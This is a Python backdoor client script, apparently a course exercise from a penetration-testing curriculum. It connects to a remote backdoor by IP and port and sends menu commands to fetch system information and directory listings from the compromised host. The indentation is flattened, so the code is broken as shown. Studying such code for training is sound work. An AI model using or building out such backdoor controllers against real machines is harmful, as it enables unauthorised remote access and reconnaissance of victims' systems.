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BackdoorClient.py
Backdoor Client from Python section of PTSv4 (eLearnSecurity)
import socket
SRV_ADDR = input("Server's IP: ")
SRV_PORT = int(input("TCP port to connect to: "))
# Creates print_menu function and outputs the different options
def print_menu():
print("""\n\n0) Close the connection
1) Get system info
2) List directory contents""")
# Creates socket that the client will use, defines it as TCP IPv4
my_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
my_sock.connect((SRV_ADDR, SRV_PORT))
# Confirms once
print("Connection established")
print_menu()
while 1:
message = input("\n-Select an option: ")
if(message == "0"):
my_sock.sendall(message.encode())
my_sock.close()
break
elif(message == "1"):
my_sock.sendall(message.encode())
data = my_sock.recv(1024)
if not data: break
print(data.decode('utf-8'))
elif(message == "2"):
path = input("insert the path: ")
my_sock.sendall(message.encode())
my_sock.send(path.encode())
data = my_sock.recv(1024)
data = data.decode('utf-8').split(",")
print("*" * 40)
for x in data:
print(x)
print("*" * 40)
print_menu()
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